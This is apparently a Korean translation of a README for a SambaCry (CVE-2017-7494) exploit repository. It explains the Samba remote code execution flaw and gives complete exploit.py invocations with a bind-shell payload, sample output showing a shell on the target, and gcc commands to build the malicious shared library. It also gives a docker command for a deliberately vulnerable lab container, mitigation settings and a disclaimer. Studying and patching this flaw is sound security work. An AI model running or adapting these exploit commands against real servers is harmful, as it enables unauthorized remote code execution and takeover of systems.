
SambaCry 익스플로잇 및 취약한 컨테이너 (CVE-2017-7494)
Samba는 SMB/CIFS 네트워킹 프로토콜의 자유 소프트웨어 재구현입니다. Samba는 다양한 Microsoft Windows 클라이언트에 파일 및 인쇄 서비스를 제공하며 DC(도메인 컨트롤러) 또는 도메인 멤버로서 Microsoft Windows Server 도메인과 통합할 수 있습니다. 버전 4부터는 Active Directory 및 Microsoft Windows NT 도메인을 지원합니다.
4.5.9 버전 및 그 이전의 Samba는 SambaCry라는 원격 코드 실행 취약점에 영향을 받습니다. CVE-2017-7494는 원격 인증 사용자가 쓰기 가능한 공유 폴더에 공유 라이브러리를 업로드하고 코드 실행 공격을 수행하여 취약한 Samba 서비스를 호스팅하는 서버를 장악할 수 있게 합니다.
Samba 3.5.0 이후의 3.x 및 4.4.14 이전의 4.x, 4.5.10 이전의 4.5.x 및 4.6.4 이전의 4.6.x 버전은 Windows 명명된 파이프를 사용할 때 파일 경로를 제한하지 않으므로, 원격 인증 사용자가 쓰기 가능한 공유 폴더에 공유 라이브러리를 업로드하고 조작된 명명된 파이프를 통해 임의 코드를 실행할 수 있습니다.

이 익스플로잇을 제대로 실행하려면 패치된 버전의 impacket 파이썬 라이브러리와 requirements 파일에 있는 다른 종속성들이 필요합니다. 모두 설치하려면 다음을 실행하세요.
pip install -r requirements.txt
Python3를 사용한다면 이 소프트웨어를 가상 환경에서 실행해야 합니다. 다음 단계를 따르세요:
pip install virtualenv
virtualenv -p /usr/bin/python2.7 venv # or wherever your python2.7 resides
source venv/bin/activate.sh
그런 다음 다음과 같이 실행할 수 있습니다:
./exploit.py -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
예를 들어, 이 저장소에 포함된 취약한 환경을 익스플로잇하려면 다음을 실행하세요.
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
그러면 다음과 같은 출력이 표시됩니다.
./exploit.py -t localhost -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
익스플로잇의 인자 설명:
usage: exploit.py [-h] -t TARGET -e EXECUTABLE -s REMOTESHARE -r REMOTEPATH
[-u USER] [-p PASSWORD] [-P REMOTESHELLPORT]
-t 또는 —target - 공격할 원격 호스트를 설정합니다.-e 또는 —executable - 로드하려는 라이브러리가 있는 로컬 시스템의 경로를 설정합니다.-s 또는 —remoteshare - 파일이 복사될 원격 공유.-r 또는 —remotepath - 파일이 원격 시스템에 위치한 경로.-u 또는 —user - 로그인에 사용할 사용자 이름.-p 또는 —password - 로그인에 사용할 비밀번호.-P 또는 —remoteshellport - 바인드 셸 페이로드를 사용하는 경우, 공격 실행 후 페이로드에 연결합니다.이 공격을 시뮬레이션하려면 취약한 docker 이미지를 사용할 수 있습니다. docker가 설치되어 있다면 다음을 실행하세요.
docker run --rm -it \
-p 137-139:137-139 \
-p 445:445 -p 6699:6699 \
vulnerables/cve-2017-7494
접속하려면 다음 자격 증명을 사용하세요.
sambacrynosambanocry이 익스플로잇에 대한 바인딩 셸 페이로드의 예시는 bindshell-samba.c 파일에서 찾을 수 있습니다. 필요에 따라 수정하세요. 그런 다음 새 바이너리를 생성하려면 다음을 사용하세요:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
Samba 3.5.0 이후의 3.x 및 4.4.14 이전의 4.x, 4.5.10 이전의 4.5.x 및 4.6.4 이전의 4.6.x
다음 매개변수를 추가하세요:
nt pipe support = no
smb.conf의 [global] 섹션에 추가하고 smbd를 재시작하세요. 이렇게 하면 클라이언트가 명명된 파이프 엔드포인트에 접근할 수 없게 됩니다. 이로 인해 Windows 클라이언트의 일부 예상 기능이 비활성화될 수 있습니다.
또한 Samba가 쓰기 가능한 공유에 사용하는 파일시스템을 noexec 옵션으로 마운트하는 것도 고려하세요.
이 프로그램 및 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(opsxcq)는 이 프로그램이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다. 저자 또는 모든 인터넷 서비스 제공자는 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 opsxcq의 책임이 아니라는 사실에 동의하게 됩니다.